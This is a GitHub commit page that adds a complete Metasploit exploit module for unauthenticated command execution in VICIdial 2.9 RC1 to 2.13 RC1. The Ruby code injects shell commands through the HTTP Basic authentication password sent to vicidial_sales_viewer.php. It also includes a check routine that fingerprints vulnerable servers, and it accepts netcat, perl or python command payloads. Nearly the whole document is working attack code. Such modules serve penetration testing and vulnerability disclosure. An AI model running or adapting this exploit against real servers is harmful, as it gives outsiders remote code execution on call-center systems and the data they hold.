Skip to content

Commit 018e544

Browse files
committed
Add VICIdial user_authorization Unauthenticated Command Execution module
1 parent 59ab73b commit 018e544

File tree

1 file changed

+112
-0
lines changed

1 file changed

+112
-0
lines changed
Lines changed: 112 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,112 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Exploit::Remote
7+
Rank = ExcellentRanking
8+
9+
include Msf::Exploit::Remote::HttpClient
10+
11+
def initialize(info = {})
12+
super(update_info(info,
13+
'Name' => 'VICIdial user_authorization Unauthenticated Command Execution',
14+
'Description' => %q{
15+
This module exploits a vulnerability in VICIdial versions
16+
2.9 RC 1 to 2.13 RC1 which allows unauthenticated users
17+
to execute arbitrary operating system commands as the web
18+
server user if password encryption is enabled (disabled
19+
by default).
20+
21+
When password encryption is enabled the user's password
22+
supplied using HTTP basic authentication is used in a call
23+
to exec().
24+
25+
This module has been tested successfully on version 2.11 RC2
26+
and 2.13 RC1 on CentOS.
27+
},
28+
'License' => MSF_LICENSE,
29+
'Author' => 'Brendan Coles <bcoles[at]gmail.com>',
30+
'References' =>
31+
[
32+
['URL', 'http://www.vicidial.org/VICIDIALmantis/view.php?id=1016']
33+
],
34+
'Platform' => 'unix',
35+
'Arch' => ARCH_CMD,
36+
'Payload' =>
37+
{
38+
# HTTP Basic authentication password
39+
'Space' => 2048,
40+
# apostrophe ('), quote ("), semi-colon (;) and backslash (\)
41+
# are removed by preg_replace
42+
'BadChars' => "\x00\x0A\x22\x27\x3B\x5C",
43+
'DisableNops' => true,
44+
'Compat' =>
45+
{
46+
'PayloadType' => 'cmd',
47+
'RequiredCmd' => 'generic perl python netcat'
48+
}
49+
},
50+
'Targets' => [[ 'Automatic Targeting', {} ]],
51+
'Privileged' => false,
52+
'DisclosureDate' => 'May 26 2017',
53+
'DefaultTarget' => 0))
54+
register_options([ OptString.new('TARGETURI', [true, 'The base path to VICIdial', '/vicidial/']) ])
55+
deregister_options('USERNAME', 'PASSWORD')
56+
end
57+
58+
def check
59+
user = rand_text_alpha(rand(10) + 5)
60+
pass = "#{rand_text_alpha(rand(10) + 5)}&#"
61+
res = send_request_cgi 'uri' => normalize_uri(target_uri.path, 'vicidial_sales_viewer.php'),
62+
'authorization' => basic_auth(user, pass)
63+
64+
unless res
65+
vprint_status 'Connection failed'
66+
return CheckCode::Unknown
67+
end
68+
69+
if res.code != 401
70+
vprint_status "#{peer} Unexpected reply. Expected authentication failure."
71+
return CheckCode::Safe
72+
end
73+
74+
# Check for input filtering of '#' and '&' characters in password
75+
# Response for invalid credentials is in the form of: |<username>|<password>|BAD|
76+
if res.body !~ /\|#{user}\|#{pass}\|BAD\|/
77+
vprint_status "#{peer} Target is patched."
78+
return CheckCode::Safe
79+
end
80+
81+
# Check for ../agc/bp.pl password encryption script
82+
res = send_request_cgi 'uri' => normalize_uri(target_uri.path, '..', 'agc', 'bp.pl')
83+
if res && res.code == 200 && res.body =~ /Bcrypt password hashing script/
84+
vprint_status "#{peer} Password encryption is supported, but may not be enabled."
85+
return CheckCode::Appears
86+
end
87+
88+
vprint_status "#{peer} Could not verify whether password encryption is supported."
89+
CheckCode::Detected
90+
end
91+
92+
def execute_command(cmd, opts = {})
93+
user = rand_text_alpha(rand(10) + 5)
94+
pass = "#{rand_text_alpha(rand(10) + 5)}& #{cmd} #"
95+
96+
print_status "#{peer} Sending payload (#{cmd.length} bytes)"
97+
res = send_request_cgi 'uri' => normalize_uri(target_uri.path, 'vicidial_sales_viewer.php'),
98+
'authorization' => basic_auth(user, pass)
99+
100+
if !res
101+
fail_with(Failure::Unreachable, 'Connection failed')
102+
elsif res.code == 401 && res.body =~ /#{user}/ && res.body =~ /BAD/
103+
print_good "#{peer} Payload sent successfully"
104+
else
105+
fail_with(Failure::UnexpectedReply, 'Unexpected reply')
106+
end
107+
end
108+
109+
def exploit
110+
execute_command(payload.encoded)
111+
end
112+
end

0 commit comments

Comments
 (0)